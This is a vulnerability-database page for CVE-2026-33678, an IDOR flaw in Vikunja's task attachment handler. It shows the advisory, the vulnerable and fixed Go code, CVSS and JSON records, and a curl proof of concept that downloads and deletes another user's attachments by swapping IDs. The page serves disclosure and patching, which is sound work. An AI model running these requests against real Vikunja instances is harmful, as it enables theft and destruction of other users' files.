Vulnerability-Lookup

GHSA-JFMM-MJCP-8WQ2

Vulnerability from github – Published: 2026-03-25 21:17 – Updated: 2026-03-25 21:17

Summary

Vikjuna: IDOR in Task Attachment ReadOne Allows Cross-Project File Access and Deletion

Details

Summary

TaskAttachment.ReadOne() queries attachments by ID only (WHERE id = ?), ignoring the task ID from the URL path. The permission check in CanRead() validates access to the task specified in the URL, but ReadOne() loads a different attachment that may belong to a task in another project. This allows any authenticated user to download or delete any attachment in the system by providing their own accessible task ID with a target attachment ID. Attachment IDs are sequential integers, making enumeration trivial.

Details

The vulnerability is in pkg/models/task_attachment.go in the ReadOne method:

// pkg/models/task_attachment.go:110-120
func (ta *TaskAttachment) ReadOne(s *xorm.Session, _ web.Auth) (err error) {
    exists, err := s.Where("id = ?", ta.ID).Get(ta)  // Only checks attachment ID, ignores TaskID
    if err != nil {
        return
    }
    if !exists {
        return ErrTaskAttachmentDoesNotExist{
            TaskID:       ta.TaskID,
            AttachmentID: ta.ID,
        }
    }
    // ...
}

The permission check in pkg/models/task_attachment_permissions.go validates access to the URL task, not the attachment's actual task:

// pkg/models/task_attachment_permissions.go:25-28
func (ta *TaskAttachment) CanRead(s *xorm.Session, a web.Auth) (bool, int, error) {
    t := &Task{ID: ta.TaskID}  // ta.TaskID is from URL param :task
    return t.CanRead(s, a)
}

The TaskAttachment struct binds URL parameters via struct tags (param:"task" and param:"attachment"):

// pkg/models/task_attachment.go:41-42
ID     int64 `xorm:"bigint autoincr not null unique pk" json:"id" param:"attachment"`
TaskID int64 `xorm:"bigint not null" json:"task_id" param:"task"`

Attack flow for read (GET): The custom handler at pkg/routes/api/v1/task_attachment.go:156 calls CanRead (checks URL task) then ReadOne (loads attachment by ID only).

Attack flow for delete (DELETE): The generic CRUD handler calls CanDelete (checks write on URL task) then Delete which calls ReadOne (loads any attachment by ID), then deletes it.

This is the same vulnerability pattern that was already fixed for task comments, where getTaskCommentSimple was patched to add AND task_id = ? validation:

// pkg/models/task_comments.go:196-205 (the fix)
func getTaskCommentSimple(s *xorm.Session, tc *TaskComment) error {
    query := s.Where("id = ?", tc.ID).NoAutoCondition()
    if tc.TaskID != 0 {
        query = query.And("task_id = ?", tc.TaskID)
    }
    // ...
}

PoC

Prerequisites: Two users (attacker and victim). Victim has a project with a task that has a file attachment. Attacker has read access to any task (e.g., their own project).

Step 1: Attacker creates their own project and task.

# Attacker creates a project
curl -s -X PUT 'http://localhost:3456/api/v1/projects' \
  -H 'Authorization: Bearer <attacker_token>' \
  -H 'Content-Type: application/json' \
  -d '{"title":"attacker project"}' | jq '.id'
# Returns: 10

# Attacker creates a task in their project
curl -s -X PUT 'http://localhost:3456/api/v1/projects/10/tasks' \
  -H 'Authorization: Bearer <attacker_token>' \
  -H 'Content-Type: application/json' \
  -d '{"title":"attacker task"}' | jq '.id'
# Returns: 50

Step 2: Victim uploads a confidential attachment to their task (in a different project the attacker has no access to).

curl -s -X PUT 'http://localhost:3456/api/v1/tasks/1/attachments' \
  -H 'Authorization: Bearer <victim_token>' \
  -F 'files=@secret-document.pdf'
# Returns attachment with id: 5

Step 3: Attacker downloads the victim's attachment by referencing their own task ID but the victim's attachment ID.

# Attacker accesses victim's attachment (id=5) via their own task (id=50)
curl -s -X GET 'http://localhost:3456/api/v1/tasks/50/attachments/5' \
  -H 'Authorization: Bearer <attacker_token>' \
  -o stolen-file.pdf
# Returns: victim's secret-document.pdf

Step 4: Attacker can also delete the victim's attachment.

curl -s -X DELETE 'http://localhost:3456/api/v1/tasks/50/attachments/5' \
  -H 'Authorization: Bearer <attacker_token>'
# Returns: 200 OK — victim's attachment is deleted

Since attachment IDs are sequential autoincrement integers, the attacker can enumerate all attachments in the system (1, 2, 3, ...).

Impact

Confidentiality: Any authenticated user can download any file attachment in the entire system, regardless of project permissions. This includes confidential documents, images, and any files uploaded as task attachments.
Integrity: Any authenticated user with write access to any task can delete any attachment in the system, causing data loss for other users.
Enumeration: Sequential integer IDs make it trivial to iterate through all attachments without any prior knowledge of target attachment IDs.
Scope: Affects all Vikunja instances with task attachments enabled (the default).

Recommended Fix

Add task_id validation to ReadOne, mirroring the fix already applied to task comments:

// pkg/models/task_attachment.go
func (ta *TaskAttachment) ReadOne(s *xorm.Session, _ web.Auth) (err error) {
    query := s.Where("id = ?", ta.ID)
    if ta.TaskID != 0 {
        query = query.And("task_id = ?", ta.TaskID)
    }
    exists, err := query.Get(ta)
    if err != nil {
        return
    }
    if !exists {
        return ErrTaskAttachmentDoesNotExist{
            TaskID:       ta.TaskID,
            AttachmentID: ta.ID,
        }
    }

    // ... rest unchanged
}

Severity ?

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.2.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33678"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T21:17:42Z",
    "nvd_published_at": "2026-03-24T16:16:35Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`TaskAttachment.ReadOne()` queries attachments by ID only (`WHERE id = ?`), ignoring the task ID from the URL path. The permission check in `CanRead()` validates access to the task specified in the URL, but `ReadOne()` loads a different attachment that may belong to a task in another project. This allows any authenticated user to download or delete any attachment in the system by providing their own accessible task ID with a target attachment ID. Attachment IDs are sequential integers, making enumeration trivial.\n\n## Details\n\nThe vulnerability is in `pkg/models/task_attachment.go` in the `ReadOne` method:\n\n```go\n// pkg/models/task_attachment.go:110-120\nfunc (ta *TaskAttachment) ReadOne(s *xorm.Session, _ web.Auth) (err error) {\n\texists, err := s.Where(\"id = ?\", ta.ID).Get(ta)  // Only checks attachment ID, ignores TaskID\n\tif err != nil {\n\t\treturn\n\t}\n\tif !exists {\n\t\treturn ErrTaskAttachmentDoesNotExist{\n\t\t\tTaskID:       ta.TaskID,\n\t\t\tAttachmentID: ta.ID,\n\t\t}\n\t}\n\t// ...\n}\n```\n\nThe permission check in `pkg/models/task_attachment_permissions.go` validates access to the URL task, not the attachment\u0027s actual task:\n\n```go\n// pkg/models/task_attachment_permissions.go:25-28\nfunc (ta *TaskAttachment) CanRead(s *xorm.Session, a web.Auth) (bool, int, error) {\n\tt := \u0026Task{ID: ta.TaskID}  // ta.TaskID is from URL param :task\n\treturn t.CanRead(s, a)\n}\n```\n\nThe `TaskAttachment` struct binds URL parameters via struct tags (`param:\"task\"` and `param:\"attachment\"`):\n```go\n// pkg/models/task_attachment.go:41-42\nID     int64 `xorm:\"bigint autoincr not null unique pk\" json:\"id\" param:\"attachment\"`\nTaskID int64 `xorm:\"bigint not null\" json:\"task_id\" param:\"task\"`\n```\n\n**Attack flow for read (GET):**\nThe custom handler at `pkg/routes/api/v1/task_attachment.go:156` calls `CanRead` (checks URL task) then `ReadOne` (loads attachment by ID only).\n\n**Attack flow for delete (DELETE):**\nThe generic CRUD handler calls `CanDelete` (checks write on URL task) then `Delete` which calls `ReadOne` (loads any attachment by ID), then deletes it.\n\nThis is the same vulnerability pattern that was already fixed for task comments, where `getTaskCommentSimple` was patched to add `AND task_id = ?` validation:\n\n```go\n// pkg/models/task_comments.go:196-205 (the fix)\nfunc getTaskCommentSimple(s *xorm.Session, tc *TaskComment) error {\n\tquery := s.Where(\"id = ?\", tc.ID).NoAutoCondition()\n\tif tc.TaskID != 0 {\n\t\tquery = query.And(\"task_id = ?\", tc.TaskID)\n\t}\n\t// ...\n}\n```\n\n## PoC\n\n**Prerequisites:** Two users (attacker and victim). Victim has a project with a task that has a file attachment. Attacker has read access to any task (e.g., their own project).\n\n**Step 1:** Attacker creates their own project and task.\n\n```bash\n# Attacker creates a project\ncurl -s -X PUT \u0027http://localhost:3456/api/v1/projects\u0027 \\\n  -H \u0027Authorization: Bearer \u003cattacker_token\u003e\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"title\":\"attacker project\"}\u0027 | jq \u0027.id\u0027\n# Returns: 10\n\n# Attacker creates a task in their project\ncurl -s -X PUT \u0027http://localhost:3456/api/v1/projects/10/tasks\u0027 \\\n  -H \u0027Authorization: Bearer \u003cattacker_token\u003e\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"title\":\"attacker task\"}\u0027 | jq \u0027.id\u0027\n# Returns: 50\n```\n\n**Step 2:** Victim uploads a confidential attachment to their task (in a different project the attacker has no access to).\n\n```bash\ncurl -s -X PUT \u0027http://localhost:3456/api/v1/tasks/1/attachments\u0027 \\\n  -H \u0027Authorization: Bearer \u003cvictim_token\u003e\u0027 \\\n  -F \u0027files=@secret-document.pdf\u0027\n# Returns attachment with id: 5\n```\n\n**Step 3:** Attacker downloads the victim\u0027s attachment by referencing their own task ID but the victim\u0027s attachment ID.\n\n```bash\n# Attacker accesses victim\u0027s attachment (id=5) via their own task (id=50)\ncurl -s -X GET \u0027http://localhost:3456/api/v1/tasks/50/attachments/5\u0027 \\\n  -H \u0027Authorization: Bearer \u003cattacker_token\u003e\u0027 \\\n  -o stolen-file.pdf\n# Returns: victim\u0027s secret-document.pdf\n```\n\n**Step 4:** Attacker can also delete the victim\u0027s attachment.\n\n```bash\ncurl -s -X DELETE \u0027http://localhost:3456/api/v1/tasks/50/attachments/5\u0027 \\\n  -H \u0027Authorization: Bearer \u003cattacker_token\u003e\u0027\n# Returns: 200 OK \u2014 victim\u0027s attachment is deleted\n```\n\nSince attachment IDs are sequential autoincrement integers, the attacker can enumerate all attachments in the system (1, 2, 3, ...).\n\n## Impact\n\n- **Confidentiality:** Any authenticated user can download any file attachment in the entire system, regardless of project permissions. This includes confidential documents, images, and any files uploaded as task attachments.\n- **Integrity:** Any authenticated user with write access to any task can delete any attachment in the system, causing data loss for other users.\n- **Enumeration:** Sequential integer IDs make it trivial to iterate through all attachments without any prior knowledge of target attachment IDs.\n- **Scope:** Affects all Vikunja instances with task attachments enabled (the default).\n\n## Recommended Fix\n\nAdd `task_id` validation to `ReadOne`, mirroring the fix already applied to task comments:\n\n```go\n// pkg/models/task_attachment.go\nfunc (ta *TaskAttachment) ReadOne(s *xorm.Session, _ web.Auth) (err error) {\n\tquery := s.Where(\"id = ?\", ta.ID)\n\tif ta.TaskID != 0 {\n\t\tquery = query.And(\"task_id = ?\", ta.TaskID)\n\t}\n\texists, err := query.Get(ta)\n\tif err != nil {\n\t\treturn\n\t}\n\tif !exists {\n\t\treturn ErrTaskAttachmentDoesNotExist{\n\t\t\tTaskID:       ta.TaskID,\n\t\t\tAttachmentID: ta.ID,\n\t\t}\n\t}\n\n\t// ... rest unchanged\n}\n```",
  "id": "GHSA-jfmm-mjcp-8wq2",
  "modified": "2026-03-25T21:17:42Z",
  "published": "2026-03-25T21:17:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-jfmm-mjcp-8wq2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33678"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    },
    {
      "type": "WEB",
      "url": "https://vikunja.io/changelog/vikunja-v2.2.2-was-released"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vikjuna: IDOR in Task Attachment ReadOne Allows Cross-Project File Access and Deletion"
}

CVE-2026-33678 (GCVE-0-2026-33678)

Vulnerability from cvelistv5 – Published: 2026-03-24 15:44 – Updated: 2026-03-24 17:04

Title

Vikunja has IDOR in Task Attachment ReadOne Allows Cross-Project File Access and Deletion

Summary

Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.1, `TaskAttachment.ReadOne()` queries attachments by ID only (`WHERE id = ?`), ignoring the task ID from the URL path. The permission check in `CanRead()` validates access to the task specified in the URL, but `ReadOne()` loads a different attachment that may belong to a task in another project. This allows any authenticated user to download or delete any attachment in the system by providing their own accessible task ID with a target attachment ID. Attachment IDs are sequential integers, making enumeration trivial. Version 2.2.1 patches the issue.

Severity ?

8.1 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

CWE

CWE-639 - Authorization Bypass Through User-Controlled Key

Assigner

GitHub_M

References

URL

Tags

	https://github.com/go-vikunja/vikunja/security/ad…	x_refsource_CONFIRM
	https://vikunja.io/changelog/vikunja-v2.2.2-was-r…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	go-vikunja	vikunja	Affected: < 2.2.1

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-33678",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-24T17:04:09.861908Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-24T17:04:42.454Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "vikunja",
          "vendor": "go-vikunja",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.2.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.1, `TaskAttachment.ReadOne()` queries attachments by ID only (`WHERE id = ?`), ignoring the task ID from the URL path. The permission check in `CanRead()` validates access to the task specified in the URL, but `ReadOne()` loads a different attachment that may belong to a task in another project. This allows any authenticated user to download or delete any attachment in the system by providing their own accessible task ID with a target attachment ID. Attachment IDs are sequential integers, making enumeration trivial. Version 2.2.1 patches the issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-639",
              "description": "CWE-639: Authorization Bypass Through User-Controlled Key",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-24T15:44:06.336Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-jfmm-mjcp-8wq2",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-jfmm-mjcp-8wq2"
        },
        {
          "name": "https://vikunja.io/changelog/vikunja-v2.2.2-was-released",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://vikunja.io/changelog/vikunja-v2.2.2-was-released"
        }
      ],
      "source": {
        "advisory": "GHSA-jfmm-mjcp-8wq2",
        "discovery": "UNKNOWN"
      },
      "title": "Vikunja has IDOR in Task Attachment ReadOne Allows Cross-Project File Access and Deletion"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-33678",
    "datePublished": "2026-03-24T15:44:06.336Z",
    "dateReserved": "2026-03-23T16:34:59.930Z",
    "dateUpdated": "2026-03-24T17:04:42.454Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-JFMM-MJCP-8WQ2

Summary

Details

PoC

Impact

Recommended Fix

CVE-2026-33678 (GCVE-0-2026-33678)

Tags

Sightings

Nomenclature